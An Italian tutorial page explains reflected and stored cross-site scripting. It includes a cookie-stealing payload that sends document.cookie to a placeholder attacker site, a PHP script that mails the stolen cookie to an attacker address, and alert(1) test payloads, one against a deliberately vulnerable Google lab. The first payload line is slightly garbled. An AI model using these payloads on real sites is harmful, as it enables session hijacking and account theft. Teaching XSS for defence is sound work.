Cerca

Cross-site scripting (XSS)

Le vulnerabilità XSS sono le più gravi per un’applicazione Web; anche qui gli attacchi prevedono un’iniezione di codice (in questo caso javascript ) da parte di utenti malintenzionati all’interno di pagine Web visualizzate dagli utenti. Statisticamente sono più diffuse delle SQL injection e sfruttandole è possibile provocare danni devastanti alle pagine di siti Web. Il test di valutazione per eccellenza, una volta individuata la pagina vulnerabile, prevede l’inserimento del codice all’interno della barra URL.

Si distinguono due principali categorie di vulnerabilità XSS :

Reflected : non consentono un defacing definitivo del sito ma sfruttando la vulnerabilità della pagina, è possibile indurre una vittima in errore. Un attaccante potrebbe incollare e inviare via mail il link della pagina vulnerabile comprensiva del codice malevolo (che prevede, ad esempio, un redirect a un sito poco carino): in questo modo, farebbe in pratica eseguire alla vittima quello che abbiamo verificato in precedenza sulla pagina vulnerabile del nostro sito di prova. Se poi volessimo esagerare, da bravi attaccanti potremmo reindirizzare la vittima verso un link malevolo (magari con grafica e aspetto di un sito fidato) e sottrarre il cookie di autenticazione; ci basterebbe creare un sito Web ad hoc e inserire il seguente codice nell’URL vulnerabile:

<script>WWW.SITOVULNERABILE.COM/pag.php?variabile="><script>location.href="WWW.SITOMALEVOLOATTACCANTE.COM/PAGINARUBACOOKIE.PHP"+document.cookie;</script>

Dove PAGINARUBACOOKIE.PHP è una pagina del sito malevolo che contiene il seguente codice:

<?
	mail("EMAIL.ATTACCANTE@EMAIL.COM","Così rubiamo i cookie della vittima",$_GET['cookie']);
?>

Attraverso un semplice cookie manager, sarà possibile riutilizzare le credenziali della vittima.

Stored: quest’altra tipologia riguarda siti che possiedono un database, che memorizzano informazioni insomma: tipico esempio può essere un form di commento, dove si lasciano il nome e un messaggio (come feedback o guestbook):

USERNAME: QUELLOCHEVUOI MESSAGGIO:

Facciamo un refresh della pagina e vedremo gli effetti: a questo punto possiamo iniettare codice malevolo o reindirizzare anche qui ad altri siti tentando azioni di phishing.

Esempi:

XSS Roles: 949110 (violazione della regola di mod_security di Apache2)

<a href='https://10.2.0.10/test1.html?q="><script>alert(1)</script>'>XSS - https://10.2.0.10/test1.html?q=">&lt;script&gt;alert(1)&lt;/script&gt;</a><br/>

Esempio sul sito di google volutamente vulnerabile:

https://google-gruyere.appspot.com/365541277012577289471136594119839811786/%3Cscript%3Ealert(1)%3C/script%3E

Indietro